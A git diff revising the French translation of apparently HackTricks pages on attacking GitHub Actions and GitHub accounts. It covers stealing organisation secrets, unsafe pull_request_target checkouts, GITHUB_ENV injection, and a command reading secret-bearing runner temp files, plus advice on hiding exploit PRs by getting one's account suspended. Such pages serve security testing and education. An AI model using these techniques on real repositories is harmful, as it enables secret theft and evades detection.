## Exécution Autorisée
> [!NOTE]
-> Ce serait la manière la plus simple de compromettre les actions Github, car ce cas suppose que vous avez accès à **créer un nouveau dépôt dans l'organisation**, ou avoir **des privilèges d'écriture sur un dépôt**.
+> Ce serait le moyen le plus simple de compromettre les actions Github, car ce cas suppose que vous avez accès à **créer un nouveau dépôt dans l'organisation**, ou avoir **des privilèges d'écriture sur un dépôt**.
>
-> Si vous êtes dans ce scénario, vous pouvez simplement consulter les [techniques de post-exploitation](./#post-exploitation-techniques-from-inside-an-action).
+> Si vous êtes dans ce scénario, vous pouvez simplement vérifier les [techniques de Post Exploitation](./#post-exploitation-techniques-from-inside-an-action).
### Exécution à partir de la Création de Dépôt
-Dans le cas où les membres d'une organisation peuvent **créer de nouveaux dépôts** et que vous pouvez exécuter des actions github, vous pouvez **créer un nouveau dépôt et voler les secrets définis au niveau de l'organisation**.
+Dans le cas où des membres d'une organisation peuvent **créer de nouveaux dépôts** et que vous pouvez exécuter des actions github, vous pouvez **créer un nouveau dépôt et voler les secrets définis au niveau de l'organisation**.
### Exécution à partir d'une Nouvelle Branche
Si vous pouvez **créer une nouvelle branche dans un dépôt qui contient déjà une Action Github** configurée, vous pouvez **la modifier**, **télécharger** le contenu, puis **exécuter cette action depuis la nouvelle branche**. De cette manière, vous pouvez **exfiltrer les secrets au niveau du dépôt et de l'organisation** (mais vous devez savoir comment ils sont appelés).
-Vous pouvez rendre l'action modifiée exécutable **manuellement**, lorsqu'un **PR est créé** ou lorsque **du code est poussé** (selon le niveau de discrétion que vous souhaitez avoir) :
+Vous pouvez rendre l'action modifiée exécutable **manuellement,** lorsqu'un **PR est créé** ou lorsque **du code est poussé** (selon le niveau de bruit que vous souhaitez faire) :
```yaml
on:
workflow_dispatch: # Launch manually
@@ -209,7 +209,7 @@ Et celui-ci aura **accès aux secrets**.
Le déclencheur [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permet d'exécuter un workflow à partir d'un autre lorsqu'il est `complété`, `demandé` ou `en cours`.
-Dans cet exemple, un workflow est configuré pour s'exécuter après que le workflow séparé "Exécuter des tests" soit terminé :
+Dans cet exemple, un workflow est configuré pour s'exécuter après que le workflow séparé "Exécuter des tests" soit complété :
```yaml
on:
workflow_run:
@@ -217,10 +217,10 @@ workflows: [Run Tests]
types:
- completed
```
-Moreover, according to the docs: Le workflow démarré par l'événement `workflow_run` est capable d'**accéder aux secrets et d'écrire des tokens, même si le workflow précédent ne l'était pas**.
+De plus, selon la documentation : Le flux de travail démarré par l'événement `workflow_run` est capable d'**accéder aux secrets et d'écrire des tokens, même si le flux de travail précédent ne l'était pas**.
-Ce type de workflow pourrait être attaqué s'il **dépend** d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**trouvés dans ce blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Le premier consiste à ce que le workflow déclenché par **`workflow_run`** télécharge le code des attaquants : `${{ github.event.pull_request.head.sha }}`\
-Le second consiste à **passer** un **artifact** du code **non fiable** au workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à RCE**.
+Ce type de flux de travail pourrait être attaqué s'il **dépend** d'un **flux de travail** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**trouvés dans ce blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Le premier consiste à ce que le flux de travail déclenché par **`workflow_run`** télécharge le code des attaquants : `${{ github.event.pull_request.head.sha }}`\
+Le second consiste à **passer** un **artifact** du code **non fiable** au flux de travail **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à RCE**.
### `workflow_call`
@@ -230,18 +230,18 @@ TODO : Vérifiez si, lorsqu'il est exécuté à partir d'un pull_request, le cod
## Abus de l'exécution forkée
-Nous avons mentionné toutes les façons dont un attaquant externe pourrait réussir à faire exécuter un workflow github, maintenant examinons comment ces exécutions, si mal configurées, pourraient être abusées :
+Nous avons mentionné toutes les façons dont un attaquant externe pourrait réussir à faire exécuter un flux de travail github, maintenant examinons comment ces exécutions, si mal configurées, pourraient être abusées :
### Exécution de checkout non fiable
-Dans le cas de **`pull_request`,** le workflow va être exécuté dans le **contexte de la PR** (il exécutera donc le **code malveillant de la PR**), mais quelqu'un doit **l'autoriser d'abord** et il s'exécutera avec certaines [limitations](./#pull_request).
+Dans le cas de **`pull_request`,** le flux de travail va être exécuté dans le **contexte de la PR** (il exécutera donc le **code malveillant de la PR**), mais quelqu'un doit **l'autoriser d'abord** et il s'exécutera avec certaines [limitations](./#pull_request).
-Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché à partir de **`pull_request_target` ou `pull_request`**, le code du dépôt original sera exécuté, donc l'**attaquant ne peut pas contrôler le code exécuté**.
+Dans le cas d'un flux de travail utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un flux de travail pouvant être déclenché à partir de **`pull_request_target` ou `pull_request`**, le code du dépôt original sera exécuté, donc l'**attaquant ne peut pas contrôler le code exécuté**.
> [!CAUTION]
-> Cependant, si l'**action** a un **checkout explicite de la PR** qui **récupérera le code de la PR** (et non de la base), elle utilisera le code contrôlé par les attaquants. Par exemple (voir la ligne 12 où le code de la PR est téléchargé) :
+> Cependant, si l'**action** a un **checkout explicite de la PR** qui **récupère le code de la PR** (et non de la base), elle utilisera le code contrôlé par les attaquants. Par exemple (voir la ligne 12 où le code de la PR est téléchargé) :
-
# INSECURE. Provided as an example only.
+
# INSECURE. Fournie uniquement à titre d'exemple.
on:
pull_request_target
@@ -266,7 +266,7 @@ arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
-Thank you!
+Merci !
Le code potentiellement **non fiable est exécuté pendant `npm install` ou `npm build`** car les scripts de construction et les **packages référencés sont contrôlés par l'auteur de la PR**.
@@ -276,7 +276,7 @@ Le code potentiellement **non fiable est exécuté pendant `npm install` ou `npm
### Injections de scripts de contexte
-Notez qu'il existe certains [**contextes github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant la PR. Si l'action github utilise ces **données pour exécuter quoi que ce soit**, cela pourrait conduire à **l'exécution de code arbitraire :**
+Notez qu'il existe certains [**contextes github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant la PR. Si l'action github utilise ces **données pour exécuter quoi que ce soit**, cela pourrait conduire à une **exécution de code arbitraire :**
{{#ref}}
gh-actions-context-script-injections.md
@@ -284,11 +284,11 @@ gh-actions-context-script-injections.md
### **Injection de script GITHUB_ENV**
-D'après la documentation : Vous pouvez rendre une **variable d'environnement disponible pour toutes les étapes suivantes** dans un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
+D'après la documentation : Vous pouvez rendre une **variable d'environnement disponible pour toutes les étapes suivantes** dans un job de flux de travail en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
-Si un attaquant pouvait **injecter n'importe quelle valeur** à l'intérieur de cette variable **env**, il pourrait injecter des variables d'environnement qui pourraient exécuter du code dans les étapes suivantes telles que **LD_PRELOAD** ou **NODE_OPTIONS**.
+Si un attaquant pouvait **injecter n'importe quelle valeur** dans cette variable **env**, il pourrait injecter des variables d'environnement qui pourraient exécuter du code dans les étapes suivantes telles que **LD_PRELOAD** ou **NODE_OPTIONS**.
-Par exemple ([**ceci**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) et [**ceci**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un workflow qui fait confiance à un artifact téléchargé pour stocker son contenu à l'intérieur de la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait télécharger quelque chose comme ceci pour le compromettre :
+Par exemple ([**ceci**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) et [**ceci**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un flux de travail qui fait confiance à un artifact téléchargé pour stocker son contenu dans la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait télécharger quelque chose comme ceci pour le compromettre :
@@ -296,11 +296,11 @@ Par exemple ([**ceci**](https://www.legitsecurity.com/blog/github-privilege-esca
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-Comme mentionné dans [**cet article de blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette action Github permet d'accéder à des artifacts provenant de différents workflows et même de dépôts.
+Comme mentionné dans [**cet article de blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette action Github permet d'accéder à des artifacts provenant de différents flux de travail et même de dépôts.
-Le problème est que si le paramètre **`path`** n'est pas défini, l'artifact est extrait dans le répertoire actuel et peut écraser des fichiers qui pourraient être utilisés ou même exécutés plus tard dans le workflow. Par conséquent, si l'artifact est vulnérable, un attaquant pourrait en abuser pour compromettre d'autres workflows faisant confiance à l'artifact.
+Le problème est que si le paramètre **`path`** n'est pas défini, l'artifact est extrait dans le répertoire actuel et peut écraser des fichiers qui pourraient être utilisés ou même exécutés plus tard dans le flux de travail. Par conséquent, si l'artifact est vulnérable, un attaquant pourrait en abuser pour compromettre d'autres flux de travail faisant confiance à l'artifact.
-Exemple de workflow vulnérable :
+Exemple de flux de travail vulnérable :
```yaml
on:
workflow_run:
@@ -448,7 +448,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-- Si le secret est utilisé **directement dans une expression**, le script shell généré est stocké **sur le disque** et est accessible.
+- Si le secret est utilisé **directement dans une expression**, le script shell généré est stocké **sur disque** et est accessible.
- ```bash
cat /home/runner/work/_temp/*
```
@@ -464,11 +464,11 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
-### Abus des runners auto-hébergés
+### Abus de runners auto-hébergés
La façon de trouver quelles **Github Actions sont exécutées dans une infrastructure non-Github** est de rechercher **`runs-on: self-hosted`** dans la configuration yaml de l'Action Github.
-Les runners **auto-hébergés** peuvent avoir accès à des **informations extra sensibles**, à d'autres **systèmes réseau** (points d'extrémité vulnérables dans le réseau ? service de métadonnées ?) ou, même s'il est isolé et détruit, **plus d'une action peut être exécutée en même temps** et la malveillante pourrait **voler les secrets** de l'autre.
+Les runners **auto-hébergés** peuvent avoir accès à des **informations extra sensibles**, à d'autres **systèmes réseau** (points d'extrémité vulnérables dans le réseau ? service de métadonnées ?) ou, même s'il est isolé et détruit, **plus d'une action peut être exécutée en même temps** et l'action malveillante pourrait **voler les secrets** de l'autre.
Dans les runners auto-hébergés, il est également possible d'obtenir les **secrets du processus \_Runner.Listener**\_\*\* qui contiendra tous les secrets des workflows à n'importe quelle étape en vidant sa mémoire :
```bash
@@ -480,7 +480,7 @@ Vérifiez [**ce post pour plus d'informations**](https://karimrahal.com/2023/01/
### Registre d'images Docker Github
Il est possible de créer des actions Github qui **construiront et stockeront une image Docker à l'intérieur de Github**.\
-Un exemple peut être trouvé dans l'expansible suivant :
+Un exemple peut être trouvé dans le suivant extensible :
@@ -522,28 +522,28 @@ Un utilisateur ayant des permissions de lecture sur le dépôt pourra alors tél
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
-Alors, l'utilisateur pourrait rechercher des **secrets divulgués dans les couches d'image Docker :**
+Ensuite, l'utilisateur pourrait rechercher des **secrets exposés dans les couches d'image Docker :**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
-### Informations sensibles dans les journaux de Github Actions
+### Informations sensibles dans les journaux des actions Github
Même si **Github** essaie de **détecter les valeurs secrètes** dans les journaux des actions et **d'éviter de les afficher**, **d'autres données sensibles** qui pourraient avoir été générées lors de l'exécution de l'action ne seront pas cachées. Par exemple, un JWT signé avec une valeur secrète ne sera pas caché à moins qu'il ne soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Couvrir vos traces
-(Technique de [**ici**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR soumise est clairement visible au public sur Github et au compte GitHub cible. Sur GitHub, par défaut, nous **ne pouvons pas supprimer une PR d'internet**, mais il y a un twist. Pour les comptes Github qui sont **suspendus** par Github, toutes leurs **PRs sont automatiquement supprimées** et retirées d'internet. Donc, pour cacher votre activité, vous devez soit faire **suspendre votre compte GitHub, soit faire signaler votre compte**. Cela **cacherait toutes vos activités** sur GitHub d'internet (en gros, supprimer toutes vos PR d'exploitation)
+(Technique de [**ici**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR soumise est clairement visible au public sur Github et au compte GitHub cible. Dans GitHub par défaut, nous **ne pouvons pas supprimer une PR d'internet**, mais il y a un twist. Pour les comptes Github qui sont **suspendus** par Github, toutes leurs **PRs sont automatiquement supprimées** et retirées d'internet. Donc, pour cacher votre activité, vous devez soit faire **suspendre votre compte GitHub ou faire flaguer votre compte**. Cela **cacherait toutes vos activités** sur GitHub d'internet (en gros, supprimer toutes vos PR d'exploitation)
Une organisation sur GitHub est très proactive dans le signalement des comptes à GitHub. Tout ce que vous avez à faire est de partager "certaines choses" dans un problème et ils s'assureront que votre compte est suspendu dans les 12 heures :p et voilà, vous avez rendu votre exploitation invisible sur github.
> [!WARNING]
-> La seule façon pour une organisation de comprendre qu'elle a été ciblée est de vérifier les journaux GitHub depuis SIEM, car depuis l'interface utilisateur de GitHub, la PR serait supprimée.
+> La seule façon pour une organisation de comprendre qu'elle a été ciblée est de vérifier les journaux GitHub depuis SIEM car depuis l'interface utilisateur de GitHub, la PR serait supprimée.
## Outils
-Les outils suivants sont utiles pour trouver des workflows Github Action et même en trouver des vulnérables :
+Les outils suivants sont utiles pour trouver des workflows d'actions Github et même en trouver des vulnérables :
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
index c22abf205..e2ea40a34 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
@@ -1 +1 @@
-# Gh Actions - Poisonnement d'Artifact
+# Gh Actions - Poisonnement d'artefacts
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
index 436eb3f9b..845ad1100 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
@@ -1 +1 @@
-# GH Actions - Poisonnement de Cache
+# GH Actions - Poisonnement de cache
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index 9ba7f0d45..78003ac86 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-Ces façons d'accéder aux données de Github qui étaient supposément supprimées ont été [**rapportées dans cet article de blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+Ces méthodes pour accéder aux données de Github qui ont été supposément supprimées ont été [**rapportées dans cet article de blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
-## Accéder aux données de fork supprimé
+## Accéder aux données de fork supprimées
1. Vous fork un dépôt public
2. Vous committez du code dans votre fork
@@ -13,7 +13,7 @@ Ces façons d'accéder aux données de Github qui étaient supposément supprim
> [!CAUTION]
> Les données commises dans le fork supprimé sont toujours accessibles.
-## Accéder aux données de dépôt supprimé
+## Accéder aux données de dépôt supprimées
1. Vous avez un dépôt public sur GitHub.
2. Un utilisateur fork votre dépôt.
@@ -21,7 +21,7 @@ Ces façons d'accéder aux données de Github qui étaient supposément supprim
4. Vous supprimez l'ensemble du dépôt.
> [!CAUTION]
-> Même si vous avez supprimé votre dépôt, tous les changements apportés à celui-ci sont toujours accessibles via les forks.
+> Même si vous avez supprimé votre dépôt, tous les changements apportés sont toujours accessibles via les forks.
## Accéder aux données de dépôt privé
@@ -40,9 +40,9 @@ Le même article de blog propose 2 options :
Si la valeur de l'ID de commit (sha-1) est connue, il est possible d'y accéder à `https://github.com///commit/`
-### Bruteforcer des valeurs SHA-1 courtes
+### Bruteforcer les valeurs SHA-1 courtes
-C'est la même chose pour accéder à ces deux :
+C'est la même méthode pour accéder à ces deux :
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index dbfd4c19b..371227e83 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -4,11 +4,11 @@
## Structure de base
-La structure de base de l'environnement github d'une grande **entreprise** est de posséder une **entreprise** qui possède **plusieurs organisations** et chacune d'elles peut contenir **plusieurs dépôts** et **plusieurs équipes**. Les petites entreprises peuvent simplement **posséder une organisation et aucune entreprise**.
+La structure de base de l'environnement github d'une grande **entreprise** est de posséder une **entreprise** qui possède **plusieurs organisations** et chacune d'elles peut contenir **plusieurs dépôts** et **plusieurs équipes**. Les petites entreprises peuvent simplement **posséder une organisation et pas d'entreprises**.
Du point de vue d'un utilisateur, un **utilisateur** peut être **membre** de **différentes entreprises et organisations**. Au sein de celles-ci, l'utilisateur peut avoir **différents rôles d'entreprise, d'organisation et de dépôt**.
-De plus, un utilisateur peut être **membre de différentes équipes** avec différents rôles d'entreprise, d'organisation ou de dépôt.
+De plus, un utilisateur peut être **partie de différentes équipes** avec différents rôles d'entreprise, d'organisation ou de dépôt.
Et enfin, **les dépôts peuvent avoir des mécanismes de protection spéciaux**.
@@ -16,7 +16,7 @@ Et enfin, **les dépôts peuvent avoir des mécanismes de protection spéciaux**
### Rôles d'entreprise
-- **Propriétaire d'entreprise** : Les personnes ayant ce rôle peuvent **gérer les administrateurs, gérer les organisations au sein de l'entreprise, gérer les paramètres de l'entreprise, appliquer des politiques à travers les organisations**. Cependant, elles **ne peuvent pas accéder aux paramètres ou au contenu de l'organisation** à moins d'être désignées comme propriétaire de l'organisation ou d'avoir un accès direct à un dépôt appartenant à l'organisation.
+- **Propriétaire d'entreprise** : Les personnes ayant ce rôle peuvent **gérer les administrateurs, gérer les organisations au sein de l'entreprise, gérer les paramètres de l'entreprise, appliquer des politiques à travers les organisations**. Cependant, elles **ne peuvent pas accéder aux paramètres ou au contenu de l'organisation** à moins qu'elles ne soient désignées comme propriétaires d'organisation ou qu'elles ne reçoivent un accès direct à un dépôt appartenant à l'organisation.
- **Membres d'entreprise** : Les membres des organisations appartenant à votre entreprise sont également **automatiquement membres de l'entreprise**.
### Rôles d'organisation
@@ -28,7 +28,7 @@ Dans une organisation, les utilisateurs peuvent avoir différents rôles :
- **Gestionnaires de facturation** : Les gestionnaires de facturation sont des utilisateurs qui peuvent **gérer les paramètres de facturation de votre organisation**, tels que les informations de paiement.
- **Gestionnaires de sécurité** : C'est un rôle que les propriétaires d'organisation peuvent attribuer à n'importe quelle équipe dans une organisation. Lorsqu'il est appliqué, il donne à chaque membre de l'équipe des permissions pour **gérer les alertes de sécurité et les paramètres à travers votre organisation, ainsi que des permissions de lecture pour tous les dépôts** dans l'organisation.
- Si votre organisation a une équipe de sécurité, vous pouvez utiliser le rôle de gestionnaire de sécurité pour donner aux membres de l'équipe le minimum d'accès dont ils ont besoin à l'organisation.
-- **Gestionnaires d'applications Github** : Pour permettre à des utilisateurs supplémentaires de **gérer les applications GitHub appartenant à une organisation**, un propriétaire peut leur accorder des permissions de gestionnaire d'applications GitHub.
+- **Gestionnaires d'applications Github** : Pour permettre à des utilisateurs supplémentaires de **gérer les applications GitHub appartenant à une organisation**, un propriétaire peut leur accorder des permissions de gestionnaire d'application GitHub.
- **Collaborateurs externes** : Un collaborateur externe est une personne qui a **accès à un ou plusieurs dépôts de l'organisation mais n'est pas explicitement membre** de l'organisation.
Vous pouvez **comparer les permissions** de ces rôles dans ce tableau : [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
@@ -39,7 +39,7 @@ Dans _https://github.com/organizations/\/settings/member_privileges_,
Les paramètres configurés ici indiqueront les permissions suivantes des membres de l'organisation :
-- Être administrateur, rédacteur, lecteur ou aucune permission sur tous les dépôts de l'organisation.
+- Être administrateur, rédacteur, lecteur ou sans permission sur tous les dépôts de l'organisation.
- Si les membres peuvent créer des dépôts privés, internes ou publics.
- Si le fork des dépôts est possible.
- S'il est possible d'inviter des collaborateurs externes.
@@ -81,31 +81,31 @@ En accédant à **github.com**, vous pouvez vous connecter en utilisant votre **
### **Clés SSH**
-Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permettant à la **clé privée associée d'effectuer des actions en votre nom**. [https://github.com/settings/keys](https://github.com/settings/keys)
+Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permettant à la clé **privée associée d'effectuer des actions en votre nom**. [https://github.com/settings/keys](https://github.com/settings/keys)
#### **Clés GPG**
-Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés**, mais si vous ne l'utilisez pas, il pourrait être possible que vous **soyez découvert en envoyant des commits sans signature**. En savoir plus sur [le mode vigilant ici](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés**, mais si vous ne les utilisez pas, il pourrait être possible que vous **soyez découvert pour avoir envoyé des commits sans signature**. En savoir plus sur [le mode vigilant ici](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Jetons d'accès personnels**
-Vous pouvez générer un jeton d'accès personnel pour **donner à une application accès à votre compte**. Lors de la création d'un jeton d'accès personnel, l'**utilisateur** doit **spécifier** les **permissions** que le **jeton** aura. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Vous pouvez générer un jeton d'accès personnel pour **donner à une application l'accès à votre compte**. Lors de la création d'un jeton d'accès personnel, l'**utilisateur** doit **spécifier** les **permissions** que le **jeton** aura. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Applications Oauth
Les applications Oauth peuvent vous demander des permissions **pour accéder à une partie de vos informations github ou pour vous usurper** afin d'effectuer certaines actions. Un exemple courant de cette fonctionnalité est le **bouton de connexion avec github** que vous pourriez trouver sur certaines plateformes.
-- Vous pouvez **créer** vos propres **applications Oauth** dans [https://github.com/settings/developers](https://github.com/settings/developers).
-- Vous pouvez voir toutes les **applications Oauth qui ont accès à votre compte** dans [https://github.com/settings/applications](https://github.com/settings/applications).
-- Vous pouvez voir les **scopes que les applications Oauth peuvent demander** dans [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps).
-- Vous pouvez voir l'accès des applications tierces dans une **organisation** dans _https://github.com/organizations/\/settings/oauth_application_policy_.
+- Vous pouvez **créer** vos propres **applications Oauth** dans [https://github.com/settings/developers](https://github.com/settings/developers)
+- Vous pouvez voir toutes les **applications Oauth qui ont accès à votre compte** dans [https://github.com/settings/applications](https://github.com/settings/applications)
+- Vous pouvez voir les **portées que les applications Oauth peuvent demander** dans [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Vous pouvez voir l'accès des tiers des applications dans une **organisation** dans _https://github.com/organizations/\/settings/oauth_application_policy_.
Quelques **recommandations de sécurité** :
-- Une **application OAuth** doit toujours **agir en tant qu'utilisateur GitHub authentifié sur l'ensemble de GitHub** (par exemple, lors de la fourniture de notifications utilisateur) et avec accès uniquement aux scopes spécifiés.
+- Une **application OAuth** doit toujours **agir en tant qu'utilisateur GitHub authentifié sur l'ensemble de GitHub** (par exemple, lors de la fourniture de notifications utilisateur) et avec accès uniquement aux portées spécifiées.
- Une application OAuth peut être utilisée comme fournisseur d'identité en activant un "Login with GitHub" pour l'utilisateur authentifié.
-- **Ne pas** créer une **application OAuth** si vous souhaitez que votre application agisse sur un **dépôt unique**. Avec le scope `repo`, les applications OAuth peuvent **agir sur _tous_** les dépôts de l'utilisateur authentifié.
-- **Ne pas** créer une application OAuth pour agir en tant qu'application pour votre **équipe ou entreprise**. Les applications OAuth s'authentifient en tant qu'**utilisateur unique**, donc si une personne crée une application OAuth pour une entreprise à utiliser, et qu'elle quitte ensuite l'entreprise, personne d'autre n'aura accès à celle-ci.
+- **Ne** construisez pas une **application OAuth** si vous souhaitez que votre application agisse sur un **dépôt unique**. Avec la portée `repo`, les applications OAuth peuvent **agir sur _tous_** les dépôts de l'utilisateur authentifié.
+- **Ne** construisez pas une application OAuth pour agir en tant qu'application pour votre **équipe ou entreprise**. Les applications OAuth s'authentifient en tant qu'**utilisateur unique**, donc si une personne crée une application OAuth pour une entreprise à utiliser, et qu'elle quitte ensuite l'entreprise, personne d'autre n'y aura accès.
- **Plus** ici [ici](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Applications Github
@@ -114,25 +114,25 @@ Les applications Github peuvent demander des permissions pour **accéder à vos
- Pour installer une application GitHub, vous devez être un **propriétaire d'organisation ou avoir des permissions d'administrateur** dans un dépôt.
- L'application GitHub doit **se connecter à un compte personnel ou à une organisation**.
-- Vous pouvez créer votre propre application Github dans [https://github.com/settings/apps](https://github.com/settings/apps).
-- Vous pouvez voir toutes les **applications Github qui ont accès à votre compte** dans [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations).
-- Voici les **points de terminaison API pour les applications Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). En fonction des permissions de l'application, elle pourra accéder à certaines d'entre elles.
+- Vous pouvez créer votre propre application Github dans [https://github.com/settings/apps](https://github.com/settings/apps)
+- Vous pouvez voir toutes les **applications Github qui ont accès à votre compte** dans [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Voici les **points de terminaison API pour les applications Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). En fonction des permissions de l'application, elle pourra accéder à certains d'entre eux.
- Vous pouvez voir les applications installées dans une **organisation** dans _https://github.com/organizations/\/settings/installations_.
Quelques recommandations de sécurité :
-- Une application GitHub doit **prendre des actions indépendamment d'un utilisateur** (à moins que l'application n'utilise un [jeton utilisateur-à-serveur](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Pour garder les jetons d'accès utilisateur-à-serveur plus sécurisés, vous pouvez utiliser des jetons d'accès qui expireront après 8 heures, et un jeton de rafraîchissement qui peut être échangé contre un nouveau jeton d'accès. Pour plus d'informations, voir "[Rafraîchir les jetons d'accès utilisateur-à-serveur](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Une application GitHub doit **prendre des actions indépendamment d'un utilisateur** (à moins que l'application n'utilise un jeton [utilisateur-à-serveur](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Pour garder les jetons d'accès utilisateur-à-serveur plus sécurisés, vous pouvez utiliser des jetons d'accès qui expireront après 8 heures, et un jeton de rafraîchissement qui peut être échangé contre un nouveau jeton d'accès. Pour plus d'informations, voir "[Rafraîchir les jetons d'accès utilisateur-à-serveur](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Assurez-vous que l'application GitHub s'intègre avec **des dépôts spécifiques**.
- L'application GitHub doit **se connecter à un compte personnel ou à une organisation**.
- Ne vous attendez pas à ce que l'application GitHub sache et fasse tout ce qu'un utilisateur peut.
- **Ne pas utiliser une application GitHub si vous avez juste besoin d'un service "Login with GitHub"**. Mais une application GitHub peut utiliser un [flux d'identification utilisateur](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) pour connecter les utilisateurs _et_ faire d'autres choses.
-- Ne créez pas une application GitHub si vous _voulez seulement_ agir en tant qu'utilisateur GitHub et faire tout ce que cet utilisateur peut faire.
